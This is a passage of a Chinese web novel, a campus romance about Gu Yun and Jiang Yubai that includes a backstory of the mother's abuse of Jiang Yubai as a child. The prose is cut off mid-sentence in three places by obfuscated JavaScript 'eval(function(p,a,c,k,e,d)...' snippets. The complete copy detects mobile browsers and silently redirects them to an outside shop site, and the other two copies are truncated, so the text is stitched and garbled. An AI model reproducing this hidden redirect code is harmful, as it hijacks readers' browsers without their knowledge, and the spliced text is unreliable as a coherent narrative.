他刚才环着江予白下水的时候还没注意,现在后知后觉想起来,还真有些后怕,毕竟江予白这么脆弱,万一骨折了怎么办。 …… 王明亮呲牙咧嘴地过来,“大爷手劲也太大了,我的老胳膊老腿都要没了。你俩搓完了?” “嗯。”顾蕴点点头,江予白早就收拾好东西在等他们,等王明亮出来就可以直接走了。 “那我们走吧。” 夜里熄灯之后,江予白脑袋望着天,竟然又一次失眠了,鼻尖好似萦绕着红酒香。 其实不高级,但味道久久没有散去。 17.什么爱能持久? 江予白记忆力一直很好,他清晰地记得小时候发生的所有事情。 他的父母是一对怨侣,或许他们的结合是因为相爱,但很可惜,他的父亲是一个人渣,而他的母亲,是一个彻头彻尾的恋爱脑。 在江予白奶奶白手起家之际,江予白的外婆家就已经很有钱了,可以称得上是富甲一方的显赫世家。 当时还是千金大小姐的江母无意结识了帮家里送合同的江父,江父年轻时很帅,一双桃花眼泛着柔光,甜言蜜语蒙蔽了江母,两人背着家长偷偷谈起了恋爱。 童明珠虽然花钱大方,但长相艳丽,在江德海面前性格却又娇俏可爱,小女人姿态十足。 江德海有时候不喜欢她趾高气昂的样子,但又不得不承认,童明珠在他面前撒娇讨乖的姿态很讨喜,完全满足了他的大男子主义。 两人就这么一直谈了下去,直到童明珠怀孕,他们没有办法继续瞒下去。 两人见了双方家长。 江德海没学到母亲的聪慧担当,反倒继承了父亲软饭硬吃的坏毛病。一听童明珠怀孕,他满脑子想的都是可以用这个孩子拿捏童明珠。 童明珠的父母是什么人,他们在生意场上见多了各式各样的人,江德海这点小心思在他们面前无处遁形。 他们的女儿单纯,说不上多聪明,嫁给这样的人是会受苦的,童明珠的父母并不同意这门婚事,强令要求童明珠打胎,和江德海断绝往来。 童明珠从小到大被娇养,哪里受过这样的委屈。叛逆劲上头了,父母越不同意,她就越要做,父母让她断绝关系,她就寻死觅活,父母让她打胎,她就偷偷跑出去躲了大半个月。 半个月里,她也不联系任何朋友,等父母再找到她时,她憔悴了许多,但捧着肚子时,满眼都是光。 犟不过女儿要死要活非要嫁,童明珠的父母终于松了口,但要求是要江德海发下毒誓保证照顾好自己女儿。 江德海一听,能娶得童家的支持,哪还管什么毒不毒誓,当下举着手,什么话都说了出来。 着急不过脑子的誓言其实并不靠谱,但童明珠感动得两眼泪汪汪,脑袋充斥着江德海的甜言蜜语,顾不得细思,也没看见父母眼底的担忧。 如她所愿,两人结婚了。 但结婚后,并没有童明珠想象中的那么幸福。 江德海发现哪怕和童明珠结婚,在童明珠父母的管制下,他也拿不到自己想要的。在这之后,江德海就像变了个人似的,开始夜不归宿,对童明珠的态度也大不如前。 怀孕让童明珠的身体渐渐长胖,本就不稳定的情绪变得越发容易崩溃,日夜都想呕吐让她无法休息好,肚子上长出的妊娠纹更是在不断击垮着她。 江德海出轨是压倒她的最后一根稻草。 江德海家创业成功了,家里挤进了他娶童明珠也没挤进去的圈子,身份地位的突变让他逐渐膨胀,身边的女人也越来越多。 江德海出轨了。 小三找到了童明珠。 童明珠挺着那么大一个肚子,浑身水肿,被孕反折磨的她早已没了年轻时的漂亮,小三打扮精致,满脸嫌弃地看着她,童明珠的心态一瞬间就崩了。 她本来就不是好脾气,只是爱上了江德海,才能容忍对方。但前来挑衅她的女人并不在她的容忍范围内,童明珠把她打进了医院,那个女人毁容了。 也算是罪有应得,但因为这件事,江德海越来越厌恶童明珠。 童明珠被刺激的早产,江德海也没去看一眼。 童明珠恨这个孩子,如果不是这个孩子,江德海就不会厌恶她。可望着那双与江德海相似的眼睛,她又有些恍惚。 童明珠想了一个绝妙的手段。江德海不来看她,她就弄伤这个孩子,然后让他给江德海打电话哭求。 这个法子百试百灵,只要一听到江予白柔软委屈的哭声,江德海就会赶回家,久而久之,童明珠抓住了威胁江德海的秘诀。 生下的这个孩子成了童明珠绑住江德海的工具。 童明珠有时候会故意掐伤他让他哭,大腿内侧的肉最软,掐起来最痛,不翻开衣服也看不到伤痕。有时候会给他喂安眠药让他安静,免得江予白哭闹打扰到她和江德海过二人世界。 小江予白身上到处都是伤,可他脸上白白净净肉嘟嘟的,不爱哭也不爱闹,从外表看,邻居们看不到他任何受伤的痕迹。 一直到三岁,这招对江德海没用了。 童明珠故技重施,掐伤了江予白,要他哭喊着打电话给江德海。 望着童明珠面目狰狞的脸,江予白害怕畏缩,小手颤抖地捧着电话,声线稚嫩,“爸爸,我……我想您了,您可不可以回家呀爸爸?” 江德海没有回答我,啪的一下把电话挂断。 江予白没等到回答,意识到电话已经被挂断,他不敢去看童明珠,小小的身体缩成一团,眼睛因为害怕而紧闭。 重重的巴掌声落在了他的背上,藏在衣服下的身体青紫,疤痕新旧交替,这显然不是童明珠第一次打他。 江予白不爱说话,受了伤不会主动说,只要不涉及到江德海,童明珠就表现得和正常人无异,因此也一直没有人发现她在虐待那个被她称为和江德海爱情结晶的孩子。 这样的日子一直维持到江予白五岁。 那一年,童明珠诊断出了精神病。 保姆不忍心,扛着压力向江予白奶奶诉说,大家才知道江予白这么多年一直过得什么日子,江予白的奶奶把江予白带回了家。 江予白的父亲随母姓,但事实上,江予白的父亲很多方面更像江予白爷爷,两人从骨子里透出的相似,都很不负责任,都很渣,都没有头脑,也经常和江予白奶奶吵得不可开交。 哪怕是换了个地点,江予白的耳边依旧充斥着各种吵架的声音。但奶奶不同于妈妈,面对江予白时,她更慈祥,也更温柔。 与之相反的是江予白外婆家,即便两位老人年纪大了,但依旧恩爱,家里的氛围总是很温馨,江予白很喜欢去外婆家。 只是童明珠生病了,有江德海存在的环境不利于她的病情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等同学把他的书还回来之后,顾蕴又照着他书上划的点额外标记了老师刚才提到的重点。 江予白看着他比比划划,有些疑惑,抬眸看了过去,顾蕴瞬间get到,他解释:“老师只划了七十分的重点,多的是我猜的。” 顾蕴说完,朝江予白眨了眨眼,“嘘,别跟其他人说。” 江予白半信半疑地拿回书,像在学顾蕴一样压低声音,“谢谢。” 他翻着看了看,顾蕴划出来的确实是一些比较重要的知识点,看起来确实会考。 下课之后,江予白没先离开,他跟在顾蕴身后,顾蕴没回头他也就没说话,等顾蕴发现他。 顾蕴有些疑惑:“怎么了?” 江予白面无表情,默默加快了步伐,走到顾蕴身侧,与他肩并肩:“我要跟你去吃饭。” 顾蕴刹住去食堂的脚步,停在原地,他以为自己听错了,指了指自己,满脸都是疑问,“跟我吗?” 江予白非常坚定:“对。” 18.他们是朋友 江予白竟然要跟他一起吃饭。 虽然之前他们也一起吃过饭,但那时都有第三个人存在,这还是第一次抛开第三个人,两个人单独行动。 顾蕴懵了一瞬,他顿了顿,举着手机,有些迟疑地问道:“我是不是得叫王明亮一起?” 江予白还真没想过要有王明亮这种选择,但顾蕴提起了,他也没拒绝,随口应了一句便往前走,不满的意愿非常明确。 顾蕴一抬头,面前的人已经距离他好几百米。 这下顾蕴明白了,他低头看着刚发给王明亮的话,长按一键撤回,然后小跑着跟了过去,“王明亮说他来不了。” 江予白面上看着没什么反应,脚步偷偷放慢了些,直到和顾蕴并着肩,“嗯。” 原本顾蕴是往食堂走,但江予白一来,两人的方向就拐了弯,直奔校外。顾蕴完全不知道对方计划,一脸茫然地询问:“我们去吃什么呀?你想吃什么?” 江予白原本想伸手拦出租车,不知道突然想到了什么,又把手收了回去,若无其事地问道:“你平时一般吃什么?我跟你一起去吃。” “我吃食堂比较多。”顾蕴认真回答,“你会不会吃不惯?要不我们去外面吃吧?” 顾蕴平时就没怎么在食堂见到过江予白,估摸着他会吃不惯食堂,这才提出要去外面吃,哪曾想江予白直接拒绝了。 江予白拒绝:“不用了,就去食堂吃吧。” “好吧。”顾蕴倒也不是非要去外面吃,没再纠结,两人扭头再往食堂去。 这会儿正是下课的点,食堂人多,顾蕴拿着书包和雨伞占了两个位置,这才带着江予白去打菜。 江予白十三岁的时候,奶奶去世,家中大权落到了爷爷手中,他的爷爷讨厌这个与江奶奶性格相似的孙子,对江予白并不好,克扣江予白的生活费是常有的事情。 高中住宿后,江予白就经常吃食堂,其实他真没顾蕴想象中的那么娇惯脆弱,但顾蕴好像不知道,一副很怕他吃不惯食堂的样子。 顾蕴挤在人群中,借着身高优势,把食堂的菜品看得一清二楚。 他记得江予白吃不了太辣,一一给江予白介绍:“这个菜看起来不辣,实际上超级超级辣,不建议你选这个,那个不辣,也不腻,你可以试试那个……” 两人把菜选好,端着盘子,两人面对面坐着。 顾蕴浅浅试探:“你找我是不是有什么事?” 江予白正皱巴着脸,静静地盯着自己刚选的菜。 这是唯一一个没有听从顾蕴意见,他自己挑的菜。 难吃,难吃! 非常难吃! 他选这个菜的时候,顾蕴就欲言又止想劝他,江予白瞧见了,但一意孤行,偏要选,现在才发现顾蕴的建议非常有道理。 非常重的山胡椒油味,连旁边格子的菜都染上了这股山胡椒油味。 这一盘子的菜都变难吃了。 江予白想要把这菜挑出去,但又不想弄脏他的筷子,筷子在米饭里戳了又戳,好像在泄愤。 顾蕴问了一句,没人回应,抬头一看就瞧见江予白这幅模样。 怪可爱的。 顾蕴嘴角不自觉地上扬,眼底染上了笑意,他伸出手指,在江予白的盘子旁敲了敲,“你要不要跟我换一下?我没吃过的。” 江予白猛然抬头,意识到自己的行为全然被顾蕴收入了眼帘,好丢人,江予白只感觉耳垂发着烫,他抵制住诱惑,非常高冷地拒绝:“不用。” “啊?可是我很想吃那个山胡椒粉条,你跟我换换吧。”顾蕴努力演出渴望,回忆起网上撒娇该有的模样,朝江予白眨了眨眼睛。 他今天换了个口味,盘子里选的菜更像是江予白的口味,而不是他的。 喜欢山胡椒油粉条? 江予白悄悄观察顾蕴盘子里的菜,看起来确实很让他心动,他成功地被诱惑到了,“好吧,跟你换。” 顾蕴换到了那碗山胡椒粉条,越发确信江予白是找他有事才跟他一起来的食堂,他大胆发问:“你是不是找我有事呀?” 江予白塞了一嘴米饭,听到顾蕴这么问,抬头茫然地看着他,把嘴里的米饭咽下去才回他:“没有啊。” 那是为什么跟他一起来食堂吃饭,难道是想要体验一下食堂生活吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240483|149585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 顾蕴实在是疑惑,但对方一脸冷清,从他的脸上找不到任何答案。 食堂喧杂,顾蕴和江予白两人安安静静地吃着饭,仿佛与周围的人群隔着保护罩。 邻桌是两个女孩子,她们一边吃饭一边聊着八卦,说到激动处,女生声音变大,顾蕴听到对方吐槽:“渣男,他一个月谈了四段,还骗我说总共就谈了一个!” 顾蕴在心底默默估算,一个月谈四段,每段七八天,这个换对象的速度快能赶上开火箭了。 他也不是故意偷听别人聊天,只是对方的声音过大,绕过了喧闹的食堂,直接钻进了他的耳朵里。 顾蕴正思考着怎么才能紧闭耳朵,恍惚间听到了江予白的声音,“你也一个月谈过四段吗?” 顾蕴:??? 顾蕴觉得有点离谱,对上江予白的眼睛,却在江予白眼里看到了认真。 顾蕴无力反驳:“没有啊,怎么可能!” 江予白:“那你谈过几段?” 虽然这个问题很奇怪,但顾蕴还是如实回答了,“没谈过。” 没穿书过来时,他还是一个奋战高考的苦逼高中生,完全没有时间谈恋爱,当然,最重要的是他根本没有喜欢的人。 顾蕴最大的愿望就是多赚钱,赚够大学的学费和生活费,别的无所求。 江予白得到了想要的回答,若有所思地点点头,“好的。” 这是通过在来判断他是不是渣男吗?江予白交朋友这么严谨?对朋友的人品也有要求啊。 顾蕴感慨,不过另外一方面又有些开心,看来他即将成为江予白的好朋友。 说实话,顾蕴在篮球场看到江予白的第一眼就非常喜欢。 顾蕴也不知道要怎么描述这种喜欢,总之就是一种说不出来的感觉,这种感觉驱使他加上了对方的联系方式。 再后来,顾蕴得知他是江予白,书里惨死的替身,顾蕴想回家,并不想参与原剧情,因此他只是提醒了江予白一句。 可现在,顾蕴扪心自问,他根本不想让江予白死,不想江予白落得原文一样的下场。 他们是朋友。 19.脚踝被大掌包裹 虽然江予白没再跟着顾蕴一起去食堂吃饭,但从那天之后,两人的距离好像又近了些。 期中考试来得很快,只是眨眼的功夫就到了。 考前顾蕴总感觉自己还没复习好,考的时候才发现大部分考题他都学过,并没有他想象中的那么难,并且,顾蕴很完美地压中了大题。 教室内的同学奋笔疾书,顾蕴速度很快,差不多提前了四十五分钟写完,他检查了一遍后提前交了卷。 顾蕴两手空空过来,交了卷之后拿着笔和手机就能走。 他是第一次体验大学里的大型考试,之前并不清楚难度,神经一直紧绷着,考完之后也没想去干别的,只打算去操场散散步,呼吸一下新鲜空气。 顾蕴走到楼梯口,身边一阵风吹过,后头看,江予白站在他身侧。 “你也提前交卷了?”顾蕴有些意外。 江予白的呼吸略显急促,但他努力保持着均匀,只简单地嗯了一声,尽量少暴露自己。 然而顾蕴从他的脸上扫过,一眼就把他看透,江予白脸上依旧没有太多表情,一如既往地保持着那份淡淡的疏离感,但脸上因为运动而微微泛红的肌肤暴露了他。 顾蕴也不知道他追自己干嘛。 江予白平静了呼吸后,道:“你画的重点都考到了,我应该不会挂科了,我请你吃饭吧。” 听到前半句时,顾蕴还有些得意,等到了后半句,顾蕴傻眼了。 这也不是什么大事,不用请他吃饭啊。 但江予白并没有给他拒绝的机会,不等顾蕴回答,江予白紧接着道:“我已经订好位置了,明天中午跟我一起去吃吧。” “你明天中午有空的对吧?”经江予白观察,除去上课和每周六周日,顾蕴的其他时间都是空下来的。 明天中午是周二,一整天都没课,如果没有意外,顾蕴肯定有时间。 时间被江予白安排好了,顾蕴没什么反抗的余地,他点头:“有时间的,其实也不用请我吃饭,举手之劳,我们可以A饭钱。” 江予白义正辞严地拒绝:“不用,我请你就行。” 再追着说下去反倒显得顾蕴不识好歹,他也没再拒绝,安然接受了,他道:“那我们明天上午去试一下防身术吧,刚好练完就可以去吃饭了。” 之前约定好期中考试完就去练习,今天他们考完了最后一科,明天自然可以腾出时间去练习。 顾蕴也不知道自己会什么时候离开,保险起见,他还是早早教会江予白比较好。 万一哪天他离开了,江予白还没学会,那怎么把渣男一拳打墙里啊。 江予白对这个提议没什么意见,他矜持地点头,“好。” 体育学院有训练场,非体育学院的人提前预约就可以进去,决定好明天去练习,顾蕴今天就在系统上约好了位置,明天直接过去就行。 第二天一大早,江予白就被顾蕴叫了起来。 顾蕴着装轻便,背着装了两人水杯的包,江予白身上穿着与他颜色不同但款式相同的训练服,两人一前一后进训练馆,看起来跟情侣似的,而且还是颜值高到爆表的情侣。 开始运动前,顾蕴带着江予白做了些简单的热身运动。 在江予白同意学习防身术的第一天起,顾蕴就在网上搜罗了许多教学视频,他一一记录了下来,根据自己过往学习的经验,编好了动作教案。 他们的目的是速成,因此顾蕴并没有从扎马步这种基础动作开始。但他今天也没准备复杂的动作,只打算教一些简单基础的,顺带看看江予白的接受能力。 第一个动作是格斗式站姿。 顾蕴双腿稳稳地分开,膝盖微微弯曲,双手举起,手指微微张开,掌心朝前,整个身体重心下沉,显得既稳固又充满力量。 江予白学的有模有样,动作姿势看着跟顾蕴差不多,让人挑不出错处。 见江予白摆好了,顾蕴便去检查,然后他就发现,无论是姿势还是发力点,江予白都学得非常完美。 这就是白月光的威力吗? 顾蕴不得不承认,白月光的学习能力非常强,真的太牛了。 他拍了拍江予白的肩膀,毫不客气地夸赞:“你的姿势好标准,完全不像第一次练的人。” 他忘记藏拙了。 江予白的眼神飘忽,顺势往下,肩膀一塌,整个人摔坐在地上,刚才动作标准的证据在瞬间就被他消灭。 顾蕴的手落空,两人的动作一联系起来,给顾蕴的感觉就是他太用力,按着江予白导致他摔了一跤。 完啦! 这可是病弱的白月光,这下不得摔坏了。 顾蕴连忙单膝跪地,一只手扶住江予白的肩膀,另一只手扶住他的背,试图把他拉起来。 把人扶稳后,他关心又焦急,连忙询问:“你没摔着哪吧?刚才我太用力了,有哪里疼吗?腿疼不疼?腰呢?” 顾蕴的话密到像一串炸弹,直接把江予白炸晕,压根没给他回答的机会。或许说,是江予白不知道要怎么扯谎回答。 他压根没摔着,刚才的动作完全是怕被顾蕴发觉异常的假摔。 见江予白没说话,顾蕴原先不知道怎么安放的手落到了江予白的小腿上,他扶住手中修长紧绷的小腿,指尖滑到脚踝处,查看脚踝有没有扭到。 仿佛电流穿过肌肤,皮肤瞬间紧绷,被顾蕴触碰到的地方炸开了鸡皮疙瘩,江予白有些想躲。 细瘦白皙的脚踝被大掌包裹,滚烫的温度顺之传递,冰冷的肌肤被捂热,顾蕴低声道:“别动。” 江予白停下了挣扎的动作,垂着眸子,任由顾蕴动作,像任人宰割的兔子。 江予白站着,顾蕴半蹲着,从江予白的视角看,只能看到顾蕴的头顶,一部分头发轻轻垂落,遮挡了江予白的视线。 毛茸茸的头顶看起来手感很好。 江予白指尖摩挲,他的腿微微动了动,像是没站稳,下一秒,他的双手便搭在了顾蕴的头发上。 江予白浅浅摸了一下,手感确实像看起来那样柔软。怕顾蕴察觉到异常,他很快收回手,轻声道:“不好意思,我没站稳。” 顾蕴完完全全没有想过江予白会假摔摸他头发这个可能,因此他压根没有把被摸头发这件事放在心上。 检查好后,他松了口气。“还好没事,吓死我了。” 两人的反应更像是互换了,江予白波澜不惊,面上没什么表情,反倒是顾蕴长舒了一口气,一副被吓得够呛的样子。 黑黝黝的眼眸里倒映着他的身影,江予白有些心虚地避开和顾蕴的眼睛直视,他出声安慰,声线不自觉地放柔了些:“我没事,别担心。” 顾蕴还有些后怕,强调:“有哪里不舒服一定要跟我说。” 对方的反应在他的意料之外,江予白也没想到自己没被吓到,顾蕴反倒被他吓到了,他道:“先休息一下缓一缓吧。” 顾蕴自然没有拒绝的道理,他把水从包里拿出来,递给江予白,“喝口水吧。” 江予白仰头喝水,白皙的脖颈和脆弱的喉结暴露在空气中,喉结随着他喝水的动作而滚动,动作十分秀气,像幅画一样,但顾蕴没心思欣赏,他低着脑袋,手指戳了戳地面。 江予白歪头看过去,发现顾蕴仅仅只是在emo,江予白差点以为他在画个圈圈诅咒自己。 江予白不爱拍照,但这幅画面让他莫名其妙地产生了拍下来的冲动,他从身后拿出手机,咔嚓一下把这一瞬间记录了下来。 就像是又做了一件亏心事一般,在顾蕴发现前,江予白清了清嗓子,提出了一个新话题,“你以前就学过防身术吗?在宿舍从来没听你说过。” 提出要教江予白防身术前,顾蕴就做好了他会被问的准备,他也早早想好了回答,当下就跟面对考官一样,顾蕴立马坐直,非常严肃:“嗯,当然学过。” 顾蕴在福利院长大。 福利院只能保证孩子们享受九年义务教育,但没有额外的资金支持他们去学这些不属于课堂内的东西。 顾蕴的条件并不支持他学这些,他能学习防身术也仅仅只是偶然。 福利院大多都是弃婴,顾蕴也同样,无父无母,其实这并不会影响什么,但上小学后,家长会是一个无法避免的东西。 他们那本就在小地方,福利院不大,工作人员也不多,没人有多余的时间再去开家长会,因此顾蕴的身世在一次家长会后被同学得知。 小孩子的恶意不可小觑,顾蕴成绩好,又是得老师喜欢的班长,长相也精致可爱像糯米团子,班里女生都喜欢他,他们根本找不到他任何缺点。 但是现在,缺点出现了。 顾蕴竟然没有父母。肯定是他犯了错才被父母抛弃的,小孩子们抓住了这一点,开始利用这一点欺负顾蕴。 他们会丢他的书,弄脏他的桌椅,会去拿石头砸他。 顾蕴不想因为这件事打扰到福利院的工作人员,再让他们费心,他刚开始选择忍气吞声,后来发现,不止他一个人受到欺负,一味退让也并没有效果。 直到顾蕴无意间路过一个武馆,他被里面的招式吸引,站在门口看了许久。 第二次来时,他抱着零零散散一堆零钱进了武馆,老板人好,象征性地收了他一点钱,便让他跟着人一起学习。 顾蕴自然知道是他得了便宜,因此每次训练完,他会主动留下帮老板收拾东西,搞卫生。 老板的儿子比他小一届,成绩稀烂,顾蕴也会跟他一起学习,帮他补课。 一直到顾蕴初三,因为发展规划的问题,老板带着儿子搬了家。但顾蕴并没有停下来,高中三年,除去做家教的时候,顾蕴偶尔也会到武馆兼职。 他还真可以说是从小就开始学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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妈妈这个词,顾蕴只从旁人的嘴里听到过,他自己很多年没这么喊过,嘴巴上像糊了胶水,顾蕴不知道要怎么开口。 顾蕴快速略过这个话题,想等顾母开口,但很可惜,手机里只传来了对面的呼吸声。 现在并不是饭点,顾蕴也没有办法问他们有没有吃饭,除了吃饭这个话题,顾蕴想不出来还能说些什么。 顾蕴等了等,终于等到了顾母再一次开口,“小蕴,你吃饭了吗?” 顾蕴松了口气,“还没呢,现在还早,你们呢?” 顾母说:“还没有,小蕴,你在学校过得怎么样?钱够不够用啊?” 刚才顾母话不多,再加上电话里卡卡的,顾蕴并没有听出来异常,但刚才顾母说了一大堆话,顾蕴终于从中窥见了异常。 顾母的声音低沉且压抑,仿佛是从喉咙深处挤出来的,声线带着一丝颤抖,发音时略显缓慢,有时甚至会有轻微的停顿。 怎么听都不对劲。 顾蕴怕自己多想,一一回答了她的问题后,又接着问,想要顾母多说些话,他好能仔细分辨一下:“你们最近过得怎么样?有没有照顾好自己?” 一听到儿子关心自己,顾母的声音有些哽咽,“我们没事,有照顾好自己,你在学校要好好听课,认真……缺钱了找妈妈要。” 顾母原本想说让顾蕴在学校好好学习,但又担心他会嫌弃自己太啰嗦,总是说教,又把话咽了回去。 其实原主花钱一点也不小气,问父母要钱的时候也不客气,但顾母还是担心他缺钱用。 顾蕴仔细听着,终于确认了,他问道:“家里是不是出什么事了?” 顾母周末都不怎么会给他打电话,今天是他很有可能在上课的工作日,总之这个电话来的很不对劲。 顾母不懂顾蕴是怎么看出来的,她一下就慌了,结结巴巴的想要说没有,但顾蕴语气严肃了些,她就不打自招,哽咽着全说了出来。 前段时间接连下雨,顾父外出的时候不小心摔了一跤,当时也没什么外伤,顾父没在意,但这几天脚一直疼,影响到了上班,无奈之下他们才去医院检查。 不检查还好,一检查才发现是韧带断了。 顾母和顾父青梅竹马长大,顾父对她很好,几乎是捧在手心里。顾父这几天一直在医院,顾母瞧着他的腿就想落泪,又想到自己远在大学许久没见的儿子,没忍住给他打了个电话。 除了被儿子气,顾母就没受过别的什么委屈,电话一接通她就想哭,忍了好久才忍住,可现在一听顾蕴安慰的声音她就绷不住了。 顾蕴又好声好气地安慰她,才从顾母支离破碎的话语中得知,顾父的手术已经做完,现在正在医院修养。 江予白大抵也是看到了这乱七八糟的一幕,他张了张嘴,询问:“怎么了?” 顾蕴捂着手机话筒,“没事,等下跟你解释。” 江予白倒也没有窥探别人隐私的恶趣味,他嗯了一声道:“有什么需要帮忙的地方可以找我。” 顾蕴点点头,说了句谢谢,等他再次把手机放回耳边时,顾母的声音变得非常兴奋激动,“儿子!你是不是谈恋爱了?给妈妈看看!” 顾蕴怀疑自己走错片场了,刚才顾母还在伤心,怎么转头就变了?